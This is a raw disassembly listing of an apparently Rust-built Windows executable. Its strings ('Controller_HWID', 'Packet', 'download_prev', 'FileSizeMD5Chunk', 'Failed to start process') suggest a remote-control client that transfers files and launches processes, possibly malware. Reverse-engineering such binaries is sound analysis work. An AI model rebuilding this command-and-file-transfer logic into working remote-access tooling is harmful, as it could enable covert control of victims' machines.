movdqa xmm0, xmmword [rbp + 0x2080]
movdqa xmmword [rdx], xmm0
mov r8, qword [rbp + 0x2ca0]
mov r9, qword [rbp + 0x2cb0]
mov r10, qword [rbp + 0x2d20]
mov rax, qword [r10 + 0x18]
mov r10, qword [r10 + 0x28]
mov qword [rsp + 0x28], r10
mov qword [rsp + 0x20], rax
call fcn.14001587b
mov rcx, qword [rbp + 0x2400]
mov rdx, qword [rbp + 0x2408]
call fcn.140047b8c
mov byte [rbp + 0x2d45], 0
lea rcx, [rbp + 0x2a70]
call fcn.14000d499
jmp 0x140028e11
mov byte [rbp + 0x2cfc], 0
lea rcx, [rbp + 0x2080]
call fcn.14000e5e2
mov rdx, qword [rbp + 0x2c18]
jmp 0x14002660a
lea r8, [0x1401227de]
push 8
pop r9
mov rcx, rbx
mov rdx, r14
call fcn.14004253c
test al, al
je 0x14002ab2c
lea rdx, str.DWIDFailed_to_create_directory:_D
lea rcx, [rbp + 0x23b0]
push 4
pop r8
call fcn.140007202
mov rsi, rax
mov byte [rbp + 0x2d77], 1
lea rdx, str.srcmain.rsFailed_to_get_current_executable
mov rcx, rax
call fcn.14000f868
mov byte [rbp + 0x2d77], 1
lea rcx, [rbp + 0x10]
mov rdx, rsi
call fcn.14001062e
mov al, byte [rbp + 0x38]
movups xmm0, xmmword [rbp + 0x39]
movaps xmmword [rbp + 0x2400], xmm0
movups xmm0, xmmword [rbp + 0x48]
movups xmmword [rbp + 0x240f], xmm0
cmp al, 5
jne 0x14002ae56
mov rax, qword [rbp + 0x2417]
mov qword [rbp + 0x26f8], rax
movdqu xmm0, xmmword [rbp + 0x2407]
movdqu xmmword [rbp + 0x26e8], xmm0
mov al, 0xa
jmp 0x14002ae97
mov rcx, qword [rbp + 0x58]
movdqu xmm0, xmmword [r12]
movdqu xmm1, xmmword [r12 + 0xf]
movdqu xmmword [rbp + 0x26f0], xmm1
movdqu xmmword [rbp + 0x26e1], xmm0
mov qword [rbp + 0x2700], rcx
lea rcx, [0x14015c83e]
mov qword [rbp + 0x2708], rcx
mov qword [rbp + 0x2710], 6
lea rdx, [rbp + 0x26e0]
mov byte [rdx], al
lea r8, str.srcmain.rsFailed_to_get_current_executable
lea rcx, [rbp + 0x2068]
call fcn.14000fd59
mov byte [rbp + 0x2d0d], 1
lea rcx, [rbp + 0x10]
call fcn.14000de3b
lea rdx, [0x140122d08]
lea rcx, [rbp + 0x23b0]
push 2
pop r8
call fcn.140007202
mov rsi, rax
mov byte [rbp + 0x2d0d], 1
lea rdx, str.srcmain.rsFailed_to_get_current_executable
mov rcx, rax
call fcn.14000f868
mov byte [rbp + 0x2d0d], 1
lea rcx, [rbp + 0x10]
mov rdx, rsi
call fcn.14001062e
mov al, byte [rbp + 0x38]
movups xmm0, xmmword [rbp + 0x39]
movaps xmmword [rbp + 0x2400], xmm0
movups xmm0, xmmword [rbp + 0x48]
movups xmmword [rbp + 0x240f], xmm0
cmp al, 5
jne 0x140028fb3
mov rax, qword [rbp + 0x2417]
mov qword [rbp + 0x26f8], rax
movdqu xmm0, xmmword [rbp + 0x2407]
movdqu xmmword [rbp + 0x26e8], xmm0
mov al, 0xa
jmp 0x140028ff4
mov rcx, qword [rbp + 0x58]
movdqu xmm0, xmmword [r12]
movdqu xmm1, xmmword [r12 + 0xf]
movdqu xmmword [rbp + 0x26f0], xmm1
movdqu xmmword [rbp + 0x26e1], xmm0
mov qword [rbp + 0x2700], rcx
lea rcx, [0x14015c83e]
mov qword [rbp + 0x2708], rcx
mov qword [rbp + 0x2710], 6
lea rdx, [rbp + 0x26e0]
lea r8, [0x1401227e6]
push 0xb
pop r9
mov rcx, rbx
mov rdx, r14
call fcn.14004253c
test al, al
je 0x14002adaf
lea rdx, str.DWIDFailed_to_create_directory:_D
lea rcx, [rbp + 0x23b0]
push 4
pop r8
call fcn.140007202
mov rsi, rax
mov byte [rbp + 0x2d77], 1
lea rdx, str.srcmain.rsFailed_to_get_current_executable
mov rcx, rax
call fcn.14000f868
mov byte [rbp + 0x2d77], 1
lea rcx, [rbp + 0x10]
mov rdx, rsi
call fcn.14001062e
mov al, byte [rbp + 0x38]
movups xmm0, xmmword [rbp + 0x39]
movaps xmmword [rbp + 0x2400], xmm0
movups xmm0, xmmword [rbp + 0x48]
movups xmmword [rbp + 0x240f], xmm0
cmp al, 5
jne 0x14002b6f9
mov rax, qword [rbp + 0x2417]
mov qword [rbp + 0x26f8], rax
movdqu xmm0, xmmword [rbp + 0x2407]
movdqu xmmword [rbp + 0x26e8], xmm0
mov al, 0xa
jmp 0x14002b73a
mov rcx, qword [rbp + 0x58]
movdqu xmm0, xmmword [r12]
movdqu xmm1, xmmword [r12 + 0xf]
movdqu xmmword [rbp + 0x26f0], xmm1
movdqu xmmword [rbp + 0x26e1], xmm0
mov qword [rbp + 0x2700], rcx
lea rcx, [0x14015c83e]
mov qword [rbp + 0x2708], rcx
mov qword [rbp + 0x2710], 6
lea rdx, [rbp + 0x26e0]
mov byte [rdx], al
lea r8, str.srcmain.rsFailed_to_get_current_executable
lea rcx, [rbp + 0x2b20]
call fcn.14000fd59
mov byte [rbp + 0x2cff], 1
lea rcx, [rbp + 0x10]
call fcn.14000de3b
mov rsi, qword [rbp + 0x2b20]
mov r8, qword [rbp + 0x2b30]
mov rcx, qword [rbp + 0x2d20]
mov rax, qword [rcx + 0x40]
mov qword [rbp + 0x2a80], rax
movdqu xmm0, xmmword [rcx + 0x30]
movdqa xmmword [rbp + 0x2a70], xmm0
lea rcx, [rbp + 0x10]
mov rdx, rsi
call fcn.1400b486b
lea rcx, [rbp + 0x26e0]
lea rdx, [rbp + 0x10]
call fcn.14009b6c0
cmp dword [rbp + 0x26e0], 2
jne 0x14002ad7b
mov rax, qword [rbp + 0x26e8]
lea rcx, [rbp + 0x2ba0]
mov qword [rcx], rax
lea r9, [rbp + 0x2c10]
mov qword [r9], rcx
lea rax, [fcn.140092dd0]
mov qword [r9 + 8], rax
mov qword [rsp + 0x20], 1
lea rdx, str.Failed_to_start_process:
lea rcx, [rbp + 0x2400]
push 1
pop r8
call fcn.14000c3a4
lea rcx, [rbp + 0x2080]
lea rdx, [rbp + 0x2400]
call fcn.14000ff7c
movdqu xmm0, xmmword [rbp + 0x2080]
movdqa xmmword [rbp + 0x2c10], xmm0
mov rax, qword [rbp + 0x2090]
mov qword [rbp + 0x2c20], rax
lea rcx, [rbp + 0x2400]
lea rdx, [rbp + 0x2a70]
call fcn.140018341
mov r8, qword [rbp + 0x2ca0]
mov r9, qword [rbp + 0x2cb0]
mov rcx, qword [rbp + 0x2d20]
mov rax, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x28]
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], rax
lea rcx, [rbp + 0x2c10]
lea rdx, [rbp + 0x2400]
call fcn.14001587b
mov rcx, qword [rbp + 0x2c10]
mov rdx, qword [rbp + 0x2c18]
call fcn.140047b8c
lea rcx, [rbp + 0x2ba0]
call fcn.14000d499
jmp 0x14002ad87
lea rcx, [rbp + 0x26e0]
call fcn.14000d2f5
lea rcx, [rbp + 0x10]
call fcn.14000d509
mov byte [rbp + 0x2cff], 0
lea rcx, [rbp + 0x2a70]
call fcn.14000e5e2
mov rdx, qword [rbp + 0x2b28]
jmp 0x14002660a
lea r8, [0x1401227f1]
push 0xc
pop r9
mov rcx, rbx
mov rdx, r14
call fcn.14004253c
test al, al
je 0x14002b652
lea rdx, str.DWIDFailed_to_create_directory:_D
lea rcx, [rbp + 0x23b0]
push 4
pop r8
call fcn.140007202
mov rsi, rax
mov byte [rbp + 0x2d77], 1
lea rdx, str.srcmain.rsFailed_to_get_current_executable
mov rcx, rax
call fcn.14000f868
mov byte [rbp + 0x2d77], 1
lea rcx, [rbp + 0x10]
mov rdx, rsi
call fcn.14001062e
mov al, byte [rbp + 0x38]
movups xmm0, xmmword [rbp + 0x39]
movaps xmmword [rbp + 0x2400], xmm0
movups xmm0, xmmword [rbp + 0x48]
movups xmmword [rbp + 0x240f], xmm0
cmp al, 5
jne 0x14002c233
mov rax, qword [rbp + 0x2417]
mov qword [rbp + 0x26f8], rax
movdqu xmm0, xmmword [rbp + 0x2407]
movdqu xmmword [rbp + 0x26e8], xmm0
mov al, 0xa
jmp 0x14002c274
mov rcx, qword [rbp + 0x58]
movdqu xmm0, xmmword [r12]
movdqu xmm1, xmmword [r12 + 0xf]
movdqu xmmword [rbp + 0x26f0], xmm1
movdqu xmmword [rbp + 0x26e1], xmm0
mov qword [rbp + 0x2700], rcx
lea rcx, [0x14015c83e]
mov qword [rbp + 0x2708], rcx
mov qword [rbp + 0x2710], 6
lea rdx, [rbp + 0x26e0]
mov byte [rdx], al
lea r8, str.srcmain.rsFailed_to_get_current_executable
lea rcx, [rbp + 0x26c8]
call fcn.14000fd59
mov byte [rbp + 0x2d13], 1
lea rcx, [rbp + 0x10]
call fcn.14000de3b
lea rdx, [0x1401222d0]
lea rcx, [rbp + 0x23b0]
push 0xc
pop r8
call fcn.140007202
mov rsi, rax
mov byte [rbp + 0x2d13], 1
lea rdx, str.srcmain.rsFailed_to_get_current_executable
mov rcx, rax
call fcn.14000f868
mov byte [rbp + 0x2d13], 1
lea rcx, [rbp + 0x10]
mov rdx, rsi
call fcn.14001062e
mov al, byte [rbp + 0x38]
movups xmm0, xmmword [rbp + 0x39]
movaps xmmword [rbp + 0x2400], xmm0
movups xmm0, xmmword [rbp + 0x48]
movups xmmword [rbp + 0x240f], xmm0
cmp al, 5
jne 0x14002af45
mov rax, qword [rbp + 0x2417]
mov qword [rbp + 0x26f8], rax
movdqu xmm0, xmmword [rbp + 0x2407]
movdqu xmmword [rbp + 0x26e8], xmm0
mov al, 0xa
jmp 0x14002af86
mov rcx, qword [rbp + 0x58]
movdqu xmm0, xmmword [r12]
movdqu xmm1, xmmword [r12 + 0xf]
movdqu xmmword [rbp + 0x26f0], xmm1
movdqu xmmword [rbp + 0x26e1], xmm0
mov qword [rbp + 0x2700], rcx
lea rcx, [0x14015c83e]
mov qword [rbp + 0x2708], rcx
mov qword [rbp + 0x2710], 6
lea rdx, [rbp + 0x26e0]
mov byte [rdx], al
lea r8, str.srcmain.rsFailed_to_get_current_executable
lea rcx, [rbp + 0x2af8]
call fcn.14000fd59
mov byte [rbp + 0x2d12], 1
lea rcx, [rbp + 0x10]
call fcn.14000de3b
lea rdx, str.FilePathSaveFilePath
lea rcx, [rbp + 0x23b0]
push 8
pop r8
call fcn.140007202
mov rsi, rax
mov byte [rbp + 0x2d12], 1
lea rdx, str.srcmain.rsFailed_to_get_current_executable
mov rcx, rax
call fcn.14000f868
mov byte [rbp + 0x2d12], 1
lea rcx, [rbp + 0x10]
mov rdx, rsi
call fcn.14001062e
mov al, byte [rbp + 0x38]
movups xmm0, xmmword [rbp + 0x39]
movaps xmmword [rbp + 0x2400], xmm0
movups xmm0, xmmword [rbp + 0x48]
movups xmmword [rbp + 0x240f], xmm0
cmp al, 5
jne 0x14002b034
mov rax, qword [rbp + 0x2417]
mov qword [rbp + 0x26f8], rax
movdqu xmm0, xmmword [rbp + 0x2407]
movdqu xmmword [rbp + 0x26e8], xmm0
mov al, 0xa
jmp 0x14002b075
mov rcx, qword [rbp + 0x58]
movdqu xmm0, xmmword [r12]
movdqu xmm1, xmmword [r12 + 0xf]
movdqu xmmword [rbp + 0x26f0], xmm1
movdqu xmmword [rbp + 0x26e1], xmm0
mov qword [rbp + 0x2700], rcx
lea rcx, [0x14015c83e]
mov qword [rbp + 0x2708], rcx
mov qword [rbp + 0x2710], 6
lea rdx, [rbp + 0x26e0]
mov byte [rdx], al
lea r8, str.srcmain.rsFailed_to_get_current_executable
lea rcx, [rbp + 0x2950]
call fcn.14000fd59
mov byte [rbp + 0x2d11], 1
lea rcx, [rbp + 0x10]
call fcn.14000de3b
lea rdx, [0x140122400]
lea rcx, [rbp + 0x23b0]
push 3
pop r8
call fcn.140007202
mov rsi, rax
mov byte [rbp + 0x2d11], 1
lea rdx, str.srcmain.rsFailed_to_get_current_executable
mov rcx, rax
call fcn.14000f868
mov byte [rbp + 0x2d11], 1
lea rcx, [rbp + 0x10]
mov rdx, rsi
call fcn.14001062e
mov al, byte [rbp + 0x38]
movups xmm0, xmmword [rbp + 0x39]
movaps xmmword [rbp + 0x2400], xmm0
movups xmm0, xmmword [rbp + 0x48]
movups xmmword [rbp + 0x240f], xmm0
cmp al, 5
jne 0x14002b123
mov rax, qword [rbp + 0x2417]
mov qword [rbp + 0x26f8], rax
movdqu xmm0, xmmword [rbp + 0x2407]
movdqu xmmword [rbp + 0x26e8], xmm0
mov al, 0xa
jmp 0x14002b164
mov rcx, qword [rbp + 0x58]
movdqu xmm0, xmmword [r12]
movdqu xmm1, xmmword [r12 + 0xf]
movdqu xmmword [rbp + 0x26f0], xmm1
movdqu xmmword [rbp + 0x26e1], xmm0
mov qword [rbp + 0x2700], rcx
lea rcx, [0x14015c83e]
mov qword [rbp + 0x2708], rcx
mov qword [rbp + 0x2710], 6
lea rdx, [rbp + 0x26e0]
mov byte [rdx], al
lea r8, str.srcmain.rsFailed_to_get_current_executable
lea rcx, [rbp + 0x2b80]
call fcn.14000fd59
mov byte [rbp + 0x2d10], 1
lea rcx, [rbp + 0x10]
call fcn.14000de3b
lea rdx, str.FileSizeMD5Chunk
lea rcx, [rbp + 0x23b0]
push 8
pop r8
call fcn.140007202
mov rsi, rax
mov byte [rbp + 0x2d10], 1
lea rdx, str.srcmain.rsFailed_to_get_current_executable
mov rcx, rax
call fcn.14000f868
mov byte [rbp + 0x2d10], 1
lea rcx, [rbp + 0x10]
mov rdx, rsi
call fcn.14001062e
mov al, byte [rbp + 0x38]
movups xmm0, xmmword [rbp + 0x39]
movaps xmmword [rbp + 0x2400], xmm0
movups xmm0, xmmword [rbp + 0x48]
movups xmmword [rbp + 0x240f], xmm0
cmp al, 5
jne 0x14002b212
mov rax, qword [rbp + 0x2417]
mov qword [rbp + 0x26f8], rax
movdqu xmm0, xmmword [rbp + 0x2407]
movdqu xmmword [rbp + 0x26e8], xmm0
mov al, 0xa
jmp 0x14002b253
mov rcx, qword [rbp + 0x58]
movdqu xmm0, xmmword [r12]
movdqu xmm1, xmmword [r12 + 0xf]
movdqu xmmword [rbp + 0x26f0], xmm1
movdqu xmmword [rbp + 0x26e1], xmm0
mov qword [rbp + 0x2700], rcx
lea rcx, [0x14015c83e]
mov qword [rbp + 0x2708], rcx
mov qword [rbp + 0x2710], 6
lea rdx, [rbp + 0x26e0]
mov byte [rdx], al
lea r8, str.srcmain.rsFailed_to_get_current_executable
lea rcx, [rbp + 0x2980]
call fcn.14000fd59
mov byte [rbp + 0x2d0f], 1
lea rcx, [rbp + 0x10]
call fcn.14000de3b
mov rdx, qword [rbp + 0x2980]
mov r8, qword [rbp + 0x2990]
lea rsi, [rbp + 0x10]
mov rcx, rsi
call fcn.140054030
mov byte [rbp + 0x2d0f], 1
lea rdx, str.srcmain.rsFailed_to_get_current_executable
mov rcx, rsi
call fcn.14000fb66
mov rdi, rax
mov rcx, qword [rbp + 0x2d20]
mov rax, qword [rcx + 0x40]
mov qword [rbp + 0x2a60], rax
pxor xmm0, xmm0
movdqu xmmword [rbp + 0x2a78], xmm0
movdqu xmmword [rbp + 0x2a90], xmm0
movdqu xmm0, xmmword [rcx + 0x30]
push 1
pop rax
mov qword [rbp + 0x2a70], rax
and qword [rbp + 0x2aa0], 0
movdqa xmmword [rbp + 0x2a50], xmm0
mov qword [rbp + 0x2a88], rax
mov rsi, qword [rbp + 0x2af8]
mov rbx, qword [rbp + 0x2b08]
lea rcx, [rbp + 0x10]
mov rdx, rsi
mov r8, rbx
call fcn.1400474b0
push 1
pop rcx
xor edx, edx
call fcn.140047b8c
lea rcx, [rbp + 0x10]
mov rax, qword [rcx + 0x10]
mov qword [rbp + 0x2a80], rax
movdqu xmm0, xmmword [rcx]
movdqa xmmword [rbp + 0x2a70], xmm0
mov qword [rbp + 0x2aa0], rdi
mov rdx, qword [rbp + 0x2b80]
mov r8, qword [rbp + 0x2b90]
call fcn.1400474b0
lea r14, [rbp + 0x2a88]
push 1
pop rcx
xor edx, edx
call fcn.140047b8c
mov rax, qword [rbp + 0x20]
mov qword [r14 + 0x10], rax
movdqu xmm0, xmmword [rbp + 0x10]
movdqu xmmword [r14], xmm0
lea rcx, [rbp + 0x2a00]
mov rdx, rsi
mov r8, rbx
call fcn.1400474b0
mov rcx, qword [rbp + 0x2a00]
mov rdx, qword [rbp + 0x2a10]
mov rax, qword [rbp + 0x26c8]
mov r8, qword [rbp + 0x26d8]
mov qword [rbp + 0x2c10], rax
mov qword [rbp + 0x2c18], r8
call fcn.1400975a0
mov rbx, rdx
test rax, rax
lea r14, str.called__Option::unwrap____on_a__None__value
cmovne r14, rax
cmove rbx, rax
lea rsi, [rbp + 0x2080]
lea rax, [rbp + 0x2c10]
mov qword [rsi], rax
lea rax, [0x14008f7a0]
mov qword [rsi + 8], rax
mov qword [rsp + 0x20], 1
lea rdx, [0x140122320]
lea rcx, [rbp + 0x10]
push 2
pop r8
mov r9, rsi
call fcn.14000c3a4
lea rcx, [rbp + 0x2400]
lea rdx, [rbp + 0x10]
call fcn.14000ff7c
lea rcx, [rbp + 0x26e0]
lea r9, [rbp + 0x2400]
mov rdx, r14
mov r8, rbx
call fcn.140007829
lea rcx, [rbp + 0x10]
and dword [rcx + 0x20], 0
and word [rcx + 0x24], 0
and dword [rcx], 0
pxor xmm0, xmm0
movdqu xmmword [rcx + 8], xmm0
mov qword [rcx + 0x18], 7
mov al, 1
mov byte [rcx + 0x21], al
mov byte [rcx + 0x24], al
mov byte [rcx + 0x23], al
mov rbx, qword [rbp + 0x26e0]
mov r8, qword [rbp + 0x26f0]
mov rdx, rbx
call fcn.1400959e0
mov qword [rbp + 0x2d68], rdx
test rax, rax
jne 0x14002b4fe
mov rcx, rdi
xor edx, edx
call fcn.1400814b3
mov qword [rbp + 0x2d58], rax
mov qword [rbp + 0x2d48], rdx
mov rbx, qword [rbp + 0x2d58]
mov rcx, rbx
mov dl, 0x65
mov r8, rdi
call sub.msvcrt.dll_memset
mov rcx, qword [rbp + 0x2d68]
mov rdx, rbx
mov r8, rdi
call fcn.1400076b3
mov rdi, rax
mov rcx, qword [rbp + 0x2d58]
mov rdx, qword [rbp + 0x2d48]
call fcn.140047b8c
test rdi, rdi
je 0x14002bf7a
mov rcx, qword [rbp + 0x2d68]
call qword [sym.imp.kernel32.dll_CloseHandle]
mov rbx, qword [rbp + 0x26e0]
mov qword [rbp + 0x2d68], rdi
lea rsi, [rbp + 0x26e0]
mov rdx, qword [rsi + 8]
mov rcx, rbx
call fcn.140047b8c
mov rax, qword [rbp + 0x2d68]
mov qword [rbp + 0x2390], rax
lea rdx, [rbp + 0x2400]
mov qword [rdx], rax
mov byte [rbp + 0x2cc8], 1
mov rcx, rsi
call fcn.1400097bc
mov rax, qword [rbp + 0x2a60]
lea rdx, [rbp + 0x10]
mov qword [rdx + 0x10], rax
movdqa xmm0, xmmword [rbp + 0x2a50]
movdqa xmmword [rdx], xmm0
mov r8, qword [rbp + 0x2ca0]
mov r9, qword [rbp + 0x2cb0]
mov rcx, qword [rbp + 0x2d20]
mov rax, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x28]
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], rax
lea rcx, [rbp + 0x26e0]
call fcn.14001587b
mov rcx, qword [rbp + 0x26e0]
mov rdx, qword [rbp + 0x26e8]
call fcn.140047b8c
mov al, 1
mov byte [rbp + 0x2d35], al
mov byte [rbp + 0x2d34], al
mov byte [rbp + 0x2d33], 0
lea rcx, [rbp + 0x2400]
call fcn.14000d499
mov rcx, qword [rbp + 0x2a70]
mov rdx, qword [rbp + 0x2a78]
call fcn.140047b8c
mov rcx, qword [rbp + 0x2a88]
mov rdx, qword [rbp + 0x2a90]
call fcn.140047b8c
mov rcx, qword [rbp + 0x2a00]
mov rdx, qword [rbp + 0x2a08]
call fcn.140047b8c
mov rcx, qword [rbp + 0x2980]
mov rdx, qword [rbp + 0x2988]
call fcn.140047b8c
mov rcx, qword [rbp + 0x2b80]
mov rdx, qword [rbp + 0x2b88]
call fcn.140047b8c
mov rcx, qword [rbp + 0x2950]
mov rdx, qword [rbp + 0x2958]
call fcn.140047b8c
lea r8, [0x1401227fd]
push 9
pop r9
mov rcx, rbx
mov rdx, r14
call fcn.14004253c
test al, al
je 0x14002c18c
lea rdx, str.DWIDFailed_to_create_directory:_D
lea rcx, [rbp + 0x23b0]
push 4
pop r8
call fcn.140007202
mov rsi, rax
mov byte [rbp + 0x2d77], 1
lea rdx, str.srcmain.rsFailed_to_get_current_executable
mov rcx, rax
call fcn.14000f868
mov byte [rbp + 0x2d77], 1
lea rcx, [rbp + 0x10]
mov rdx, rsi
call fcn.14001062e
mov al, byte [rbp + 0x38]
movups xmm0, xmmword [rbp + 0x39]
movaps xmmword [rbp + 0x2400], xmm0
movups xmm0, xmmword [rbp + 0x48]
movups xmmword [rbp + 0x240f], xmm0
cmp al, 5
jne 0x14002cca9
mov rax, qword [rbp + 0x2417]
mov qword [rbp + 0x26f8], rax
movdqu xmm0, xmmword [rbp + 0x2407]
movdqu xmmword [rbp + 0x26e8], xmm0
mov al, 0xa
jmp 0x14002ccea
mov rcx, qword [rbp + 0x58]
movdqu xmm0, xmmword [r12]
movdqu xmm1, xmmword [r12 + 0xf]
movdqu xmmword [rbp + 0x26f0], xmm1
movdqu xmmword [rbp + 0x26e1], xmm0
mov qword [rbp + 0x2700], rcx
lea rcx, [0x14015c83e]
mov qword [rbp + 0x2708], rcx
mov qword [rbp + 0x2710], 6
lea rdx, [rbp + 0x26e0]
mov byte [rdx], al
lea r8, str.srcmain.rsFailed_to_get_current_executable
lea rcx, [rbp + 0x2b80]
call fcn.14000fd59
mov byte [rbp + 0x2d17], 1
lea rcx, [rbp + 0x10]
call fcn.14000de3b
lea rdx, str.FilePathSaveFilePath
lea rcx, [rbp + 0x23b0]
push 8
pop r8
call fcn.140007202
mov rsi, rax
mov byte [rbp + 0x2d17], 1
lea rdx, str.srcmain.rsFailed_to_get_current_executable
mov rcx, rax
call fcn.14000f868
mov byte [rbp + 0x2d17], 1
lea rcx, [rbp + 0x10]
mov rdx, rsi
call fcn.14001062e
mov al, byte [rbp + 0x38]
movups xmm0, xmmword [rbp + 0x39]
movaps xmmword [rbp + 0x2400], xmm0
movups xmm0, xmmword [rbp + 0x48]
movups xmmword [rbp + 0x240f], xmm0
cmp al, 5
jne 0x14002b7e8
mov rax, qword [rbp + 0x2417]
mov qword [rbp + 0x26f8], rax
movdqu xmm0, xmmword [rbp + 0x2407]
movdqu xmmword [rbp + 0x26e8], xmm0
mov al, 0xa
jmp 0x14002b829
mov rcx, qword [rbp + 0x58]
movdqu xmm0, xmmword [r12]
movdqu xmm1, xmmword [r12 + 0xf]
movdqu xmmword [rbp + 0x26f0], xmm1
movdqu xmmword [rbp + 0x26e1], xmm0
mov qword [rbp + 0x2700], rcx
lea rcx, [0x14015c83e]
mov qword [rbp + 0x2708], rcx
mov qword [rbp + 0x2710], 6
lea rbx, [rbp + 0x26e0]
mov byte [rbx], al
lea r8, str.srcmain.rsFailed_to_get_current_executable
lea rcx, [rbp + 0x2980]
mov rdx, rbx
call fcn.14000fd59
mov byte [rbp + 0x2d16], 1
lea rcx, [rbp + 0x10]
call fcn.14000de3b
mov rcx, qword [rbp + 0x2d20]
mov rax, qword [rcx + 0x40]
mov qword [rbp + 0x2a60], rax
movdqu xmm0, xmmword [rcx + 0x30]
movdqa xmmword [rbp + 0x2a50], xmm0
mov rsi, qword [rbp + 0x2980]
mov rdi, qword [rbp + 0x2990]
lea rcx, [rbp + 0x10]
mov rdx, rsi
mov r8, rdi
call fcn.140007529
cmp dword [rbp + 0x10], 2
jne 0x14002b8a3
mov rsi, qword [rbp + 0x18]
jmp 0x14002d435
lea rdx, [rbp + 0x10]
mov rax, qword [rdx + 0x38]
lea rcx, [rbp + 0x2400]
mov qword [rcx], rax
mov qword [rdx + 0x30], 0x20
mov byte [rdx + 0x38], 3
and qword [rdx], 0
mov qword [rbp + 0x26e0], 1
and qword [rdx + 0x10], 0
pxor xmm0, xmm0
movdqu xmmword [rbp + 0x26e8], xmm0
mov qword [rdx + 0x20], rbx
lea rax, case.0x140097e0c.477
mov qword [rdx + 0x28], rax
call fcn.1400493f0
mov ecx, eax
call fcn.14000fa48
mov rax, qword [rbp + 0x26f0]
mov qword [rbp + 0x2a10], rax
movdqu xmm0, xmmword [rbp + 0x26e0]
movdqa xmmword [rbp + 0x2a00], xmm0
mov byte [rbp + 0x2ce2], 1
lea rcx, [rbp + 0x10]
mov rdx, rsi
mov r8, rdi
call fcn.1400156c5
mov rax, qword [rbp + 0x10]
test rax, rax
je 0x14002cbdf
movdqu xmm0, xmmword [rbp + 0x18]
mov qword [rbp + 0x2670], rax
movdqu xmmword [rbp + 0x2678], xmm0
mov al, 1
mov byte [rbp + 0x2d15], al
mov byte [rbp + 0x2d14], al
mov ecx, 0x230
call fcn.14001018f
mov qword [rbp + 0x2d68], rax
mov byte [rbp + 0x2ce1], 1
push 6
pop rcx
xor edx, edx
call fcn.1400814b3
mov word [rax + 4], 0x7465
mov dword [rax], 0x6b636150
mov qword [rbp + 0x18], rax
mov qword [rbp + 0x20], rdx
mov qword [rbp + 0x28], 6
mov byte [rbp + 0x10], 5
push 0xd
pop rcx
xor edx, edx
call fcn.1400814b3
movabs rcx, 0x766572705f64616f
mov qword [rax + 5], rcx
movabs rcx, 0x64616f6c6e776f64
mov qword [rax], rcx
mov rcx, qword [rbp + 0x30]
mov qword [rbp + 0x2a90], rcx
movdqu xmm0, xmmword [rbp + 0x10]
movdqu xmm1, xmmword [rbp + 0x20]
movdqa xmmword [rbp + 0x2a80], xmm1
movdqa xmmword [rbp + 0x2a70], xmm0
mov byte [rbp + 0x2a98], 5
mov qword [rbp + 0x2aa0], rax
mov qword [rbp + 0x2aa8], rdx
mov qword [rbp + 0x2ab0], 0xd
mov byte [rbp + 0x2ce0], 1
push 4
pop rcx
xor edx, edx
call fcn.1400814b3
mov dword [rax], 0x44495748
mov qword [rbp + 0x18], rax
mov qword [rbp + 0x20], rdx
mov qword [rbp + 0x28], 4
mov byte [rbp + 0x10], 5
mov rax, qword [rbp + 0x2d20]
mov rdx, qword [rax + 0x18]
mov r8, qword [rax + 0x28]
lea rcx, [rbp + 0x2400]
call fcn.1400474b0
mov rax, qword [rbp + 0x2410]
mov qword [rbp + 0x26f7], rax
movups xmm0, xmmword [rbp + 0x2400]
movups xmmword [rbp + 0x26e7], xmm0
movups xmm0, xmmword [rbp + 0x10]
movdqu xmm1, xmmword [rbp + 0x20]
movaps xmmword [rbp + 0x2c10], xmm0
movdqa xmmword [rbp + 0x2c20], xmm1
mov rax, qword [rbp + 0x30]
mov qword [rbp + 0x2c30], rax
mov byte [rbp + 0x2c38], 5
movdqu xmm0, xmmword [rbp + 0x26e0]
movdqu xmmword [rbp + 0x2c39], xmm0
mov rax, qword [rbp + 0x26ef]
mov qword [rbp + 0x2c48], rax
mov rax, qword [rbp + 0x26f7]
mov qword [rbp + 0x2c50], rax
mov byte [rbp + 0x2cdf], 1
push 0xe
pop rcx
xor edx, edx
call fcn.1400814b3
movabs rcx, 0x444957485f72656c
mov qword [rax + 6], rcx
movabs rcx, 0x656c6f72746e6f43
mov qword [rax], rcx
mov qword [rbp + 0x18], rax
mov qword [rbp + 0x20], rdx
mov qword [rbp + 0x28], 0xe
mov byte [rbp + 0x10], 5
mov rdx, qword [rbp + 0x2ca0]
mov r8, qword [rbp + 0x2cb0]
lea rcx, [rbp + 0x2400]
call fcn.1400474b0
mov rax, qword [rbp + 0x2410]
mov qword [rbp + 0x26f7], rax
movups xmm0, xmmword [rbp + 0x2400]
movups xmmword [rbp + 0x26e7], xmm0
movups xmm0, xmmword [rbp + 0x10]
movdqu xmm1, xmmword [rbp + 0x20]
movaps xmmword [rbp + 0x2080], xmm0
movdqa xmmword [rbp + 0x2090], xmm1
mov rax, qword [rbp + 0x30]
mov qword [rbp + 0x20a0], rax
mov byte [rbp + 0x20a8], 5
movdqu xmm0, xmmword [rbp + 0x26e0]
movdqu xmmword [rbp + 0x20a9], xmm0
mov rax, qword [rbp + 0x26ef]
mov qword [rbp + 0x20b8], rax
mov rax, qword [rbp + 0x26f7]
mov qword [rbp + 0x20c0], rax
mov byte [rbp + 0x2cde], 1
push 4
pop rcx
xor edx, edx
call fcn.1400814b3
mov dword [rax], 0x44495744
mov qword [rbp + 0x18], rax
mov qword [rbp + 0x20], rdx
mov qword [rbp + 0x28], 4
mov byte [rbp + 0x10], 5
mov rdx, qword [rbp + 0x2b80]
mov r8, qword [rbp + 0x2b90]
lea rcx, [rbp + 0x2400]
call fcn.1400474b0
mov rax, qword [rbp + 0x2410]
mov qword [rbp + 0x26f7], rax
movups xmm0, xmmword [rbp + 0x2400]
movups xmmword [rbp + 0x26e7], xmm0
movups xmm0, xmmword [rbp + 0x10]
movdqu xmm1, xmmword [rbp + 0x20]
movaps xmmword [rbp + 0x2400], xmm0
movdqa xmmword [rbp + 0x2410], xmm1
mov rax, qword [rbp + 0x30]
mov qword [rbp + 0x2420], rax
mov byte [rbp + 0x2428], 5
movdqu xmm0, xmmword [rbp + 0x26e0]
movdqu xmmword [rbp + 0x2429], xmm0
mov rax, qword [rbp + 0x26ef]
mov qword [rbp + 0x2438], rax
mov rax, qword [rbp + 0x26f7]
mov qword [rbp + 0x2440], rax
mov byte [rbp + 0x2cdd], 1
push 8
pop rcx
xor edx, edx
call fcn.1400814b3
movabs rcx, 0x68746150656c6946
mov qword [rax], rcx
mov qword [rbp + 0x18], rax
